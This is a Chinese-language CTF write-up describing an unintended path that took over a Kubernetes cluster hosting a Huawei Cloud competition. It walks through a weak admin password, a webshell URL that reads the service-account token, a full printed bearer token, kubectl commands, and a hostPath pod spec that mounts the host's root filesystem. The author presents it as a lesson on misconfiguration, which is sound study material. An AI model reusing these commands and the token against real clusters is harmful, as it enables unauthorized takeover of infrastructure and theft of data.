华为云CTF cloud非预期解之k8s渗透实战

前言

最近对云安全这块比较感兴趣,学了一波k8s的架构和操作,正好遇上了华为云的这一场比赛,收获颇多。

(甚至通过非预期拿下了平台题目集群的最高权限)。

0x00 题目入口发现

拿到题目发现是一个类似于提供IaaS服务的站点,扫描了一波目录,发现几个文件以及路由:

phpinfo.php
robots.txt
admin/
login/
static/

挺奇怪的是,在一个存在phpinfo的环境下发现了一个beego框架后端的403界面:

image-20201220213938432

初步猜测是.php的文件交给了nginx fastcgi进行处理,而其他路由则是交给了beego进行处理。

接着我们先看/admin路由,发现存在一个隐藏的表单

image-20201220142429113

因此自然的想到使用burpsuite进行弱口令的爆破,发现存在弱口令 admin:admin

登录成功后返回了两个url, 下载 tools.zip,同时根据名字猜测/wsproxy是一个websocket的代理路由,而查看tools的源码发现是一个wsproxy的客户端程序。

image-20201220142540954

至此,我们找到了进入内网的通道。

0x01 wsproxy 进入内网

直接对拿到的tools源码进行编译,获得客户端连接程序

image-20201220193029128

根据使用说明,我们可以通过简单的命令连接上题目的wsproxy,同时密码为tools源码目录下的 pass.txt(UAF),session就是我们登陆admin后,题目给的beego session

image-20201220193124576

这样会在本地的1080端口开启一个 socks5 代理,通过这个代理,我们就能够连入内网。

0x02 phpinfo泄露k8s集群信息

由于这道题目的名称 Cloud以及在phpinfo.php 环境变量 中发现的大量service的信息以及k8s api-server地址,同时根据环境变量的名称与值来看,这是一个k8s集群。而我们的题目属于k8s集群中的一个pod。

image-20201220142706608

0x03 k8s基础架构介绍

在继续深入下去之前,我们需要了解k8s的一些基础架构

architecture

如上图所示,我们可以看到,Kubernetes集群主要分为 MasterNode 两部分,也是典型的分布式架构。

首先,外部应用程序通过Api-Server提供的 HTTP 接口与Master进行交互,而在与APIs进行交互前,需要经过一步认证的阶段。而 Node由多个pod组成,pod中运行着的便是大家比较熟悉的容器(通常来说是docker),编写的服务(app)就运行在这些pod中的容器内。

其次,我们若是想将我们的pod发布出去,使其能够被公开访问,就需要了解服务(Service)。我们将运行在一组 Pods 上的应用程序公开为网络服务的抽象方法称作服务服务上一般配置了能够被公开访问的 ip地址、端口映射关系等,通过服务我们就能够访问到相应的pods。

每一个Node上都有一个被称作节点代理的程序 kubeletNode通过该程序向Api-Server汇报节点信息,以及接受相应的指令等。

从上面的架构中不难看出,如果我们要拿下整个集群,从外部看实际上就是需要获得暴露在外的api-server提供的REST api的访问权限。

0x04 k8s 认证 token 泄露 + 配置不当

通过上面一步浅显的解了一下k8s的基础架构,我们可以继续往下看。

我们通过给的代理程序连接内网,访问phpinfo中泄露的 k8s api-server https://10.247.0.1:443,发现api-server居然暴露在代理能够直接访问到的网段上,但是直接访问提示我们401未授权,因此我们需要寻找一种可能的方式去通过此认证。

image-20201220142743378

根据phpinfo.php文件中的内容来看,该集群中部署了很多很多的services,因此我们猜测所有的题目容器应该都是通过这个k8s进行编排管理的。

同时由于k8s集群部署的时候默认会在每个pod容器中挂载token文件到
/run/secrets/kubernetes.io/serviceaccount/token
文件中,因此我们是可以通过其他题目所拿到的shell拿到这个token。

ServiceAccount 主要包含了三个内容:namespace、Token 和 CA。namespace 指定了 pod 所在的 namespace,CA 用于验证 apiserver 的证书,token 用作身份验证。它们都通过 mount 的方式保存在 pod 的文件系统中,其中 token 保存的路径是 /var/run/secrets/kubernetes.io/serviceaccount/token ,是 apiserver 通过私钥签发 token 的 base64 编码后的结果

我们可以通过之前在 webshell_1题目所拿到的webshell,获取到api-server认证token

http://124.70.199.12:32003/upload/71a6e9b8-90b6-4d4f-9acd-bd91c8bbcc5e.jsp?pwd=023&i=cat%20/run/secrets/kubernetes.io/serviceaccount/token
image-20201220143016309

至此,我们已经获得了api-server的访问权限,因此就相当于我们获取了k8s集群中的master权限。

0x05 获取集群操纵权限

拿到了api-server的权限,我们就能够随心所欲的在集群中做想做的事了~ 其实做到这一步,大概就意识到这应该是一个平台漏洞,而不是本题的预期解法。因为拿到了master权限之后,我们已经能够查看/控制所有的Pods(web题目),随意的获取我们想要题目的flag。

我们可以通过命令行工具 kubectl来对api-server进行操作。

创建一个k8s.yaml配置文件,如下,token处为我们上面拿到的token,server则填写 api-server的地址

apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.247.0.1
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: test
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w


在本机通过题目的内网代理 执行以下命令远程连接进入题目的k8s集群,成功通过认证。

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
image-20201220194341279

至此,我们得到了访问k8s api-server的权限,下面我们尝试去获取集群master宿主机的权限。

通过执行

kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
image-20201220230951253

可以看到,k8s的版本号为 v1.15.11,这个版本的k8s授权默认是不会开启RBAC(基于角色的访问控制)的。

在Kubernetes中,授权有ABAC(基于属性的访问控制)、RBAC(基于角色的访问控制)、Webhook、Node、AlwaysDeny(一直拒绝)和AlwaysAllow(一直允许)这6种模式。从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

因此如果运维在搭建集群环境的时候,没有设置 --authorization-mode=RBAC ,那么我们就可以通过拿下集群中的一个pod的shell,从而获取到token进行api-server的认证。很显然,经过上面的验证,运维在部署环境时并没有开启该访问控制。

0x06 获取master 宿主机权限

我们可以创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件。

执行以下命令,获取当前已经拉取过的images:

kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c

结果如下:

image-20201220235708354

尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的

yaml配置如下:

apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

上述配置将宿主机的根目录挂载到了我们pod中的 /host目录,执行以下命令在default命名空间中创建该pod

kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true

再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制。

kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true

至此,我们所获得的权限其实已经和主办方运维同样高了。。

0x07 获取flag

通过以上的步骤,大概明白了这是一个非预期,平台配置token的泄露外加没有开启RBAC授权,导致我们轻易的就能够获取到了k8s集群的最高权限。因此我们也就获得了该集群中所有题目容器的最高权限。

在整个集群中,我们需要寻找属于我们队伍的pod,以便获得对应的flag。

因此我们首先通过查询在k8s中用于服务暴露的service信息:

kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
image-20201220210356220

可以看到,列出了所有的service,同时还有集群ip以及端口映射的关系。这里我们就可以通过暴露在公网上的端口,来定位对应的service。

例如我们的公网端口为30067,则我们搜索30067端口

image-20201220210520978

得到了我们题目pod所在的service,接着我们获取这个service的详细信息,以便得到pod name,命令如下:

kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true
image-20201220210704982

从这里大致可以看出,app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。

kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true

通过对我们获取的数据的检索,发现了这样一个pod,通过比较虚拟ip与phpinfo中的信息,可以确定这个pod就是我们要找的那个。

image-20201220210832990

因此便得到了属于我们的pod。exec进入pod后,便可以得到flag。

0x08 总结

1.k8s配置文件:(需要获取到k8s集群的泄露的token值)
k8s.yaml:
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://10.247.0.1
  name: cluster-name
contexts:
- context:
    cluster: cluster-name
    namespace: test
    user: admin
  name: admin
current-context: admin
kind: Config
preferences: {}
users:
- name: admin
  user:
    token: eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tbDh4OGIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjZiYTQzN2JkLTlhN2EtNGE0ZS1iZTk2LTkyMjkyMmZhNmZiOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.XDrZLt7EeMVlTQbXNzb2rfWgTR4DPvKCpp5SftwtfGVUUdvDIOXgYtQip_lQIVOLvtApYtUpeboAecP8fTSVKwMsOLyNhI5hfy6ZrtTB6dKP0Vrl70pwpEvoSFfoI0Ej_NNPNjY3WXkCW5UG9j9uzDMW28z-crLhoIWknW-ae4oP6BNRBID-L1y3NMyngoXI2aaN9uud9M6Bh__YJi8pVxxg2eX9B4_FdOM8wu9EvfVlya502__xGMCZXXx7aHLx9_yzAPEtxUiI6oECo4HYUtyCJh_axBcNJZmwFTNEWp1DB3QcImBXr9P1qof9H1fAu-z12KLfC4-T3dnKLR9q5w

2.通过kubectl命令认证k8s(https://kubernetes.io/zh/docs/tasks/tools/install-kubectl-linux/),得到了访问k8s api-server的权限

kubectl --kubeconfig k8s.yaml cluster-info --insecure-skip-tls-verify=true
3.查看k8s版本(从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能,1.6版本以下是不会开启RBAC(基于角色的访问控制)的)
kubectl --kubeconfig k8s.yaml version --insecure-skip-tls-verify=true
4.创建一个新的pod,通过文件挂载的方式,将宿主机根目录的所有文件挂载到pod中,但是由于创建pod时,需要从远程地址上拉取镜像,而该题内网貌似是无法出网的,因此我们需要找一个已经拉取下来的本地镜像文件

执行以下命令,获取当前已经拉取过的images:

kubectl --kubeconfig k8s.yaml get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |\
tr -s '[[:space:]]' '\n' |\
sort |\
uniq -c

5.尝试几个镜像后,发现 100.125.4.222:20202/hwofficial/coredns:1.15.6是可以使用的

yaml配置如下:

apiVersion: v1
kind: Pod
metadata:
  name: test-444
spec:
  containers:
  - name: test-444
    image: 100.125.4.222:20202/hwofficial/coredns:1.15.6
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

上述配置将宿主机的根目录挂载到了我们pod中的 /host目录

6.执行以下命令在default命名空间中创建该pod

kubectl --kubeconfig k8s.yaml apply -f pod.yaml -n default --insecure-skip-tls-verify=true

7.再通过kubectl exec 进入我们的pod中,以实现对宿主机文件的控制

kubectl --kubeconfig k8s.yaml exec -it test-444 bash -n default --insecure-skip-tls-verify=true

8.通过查询在k8s中用于服务暴露的service信息

kubectl --kubeconfig k8s.yaml get services -n default --insecure-skip-tls-verify=true
9.获取这个service的详细信息,以便得到pod name
kubectl --kubeconfig k8s.yaml describe service guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true

10.app名为guosai-34-15,因此我们相应的去所有的pod中寻找名为这一项的pod。

kubectl --kubeconfig k8s.yaml describe pods guosai-34-15-service-c521637e -n default --insecure-skip-tls-verify=true


posted @ 2022-01-19 22:58  渗透测试中心  阅读(1583)  评论(0编辑  收藏  举报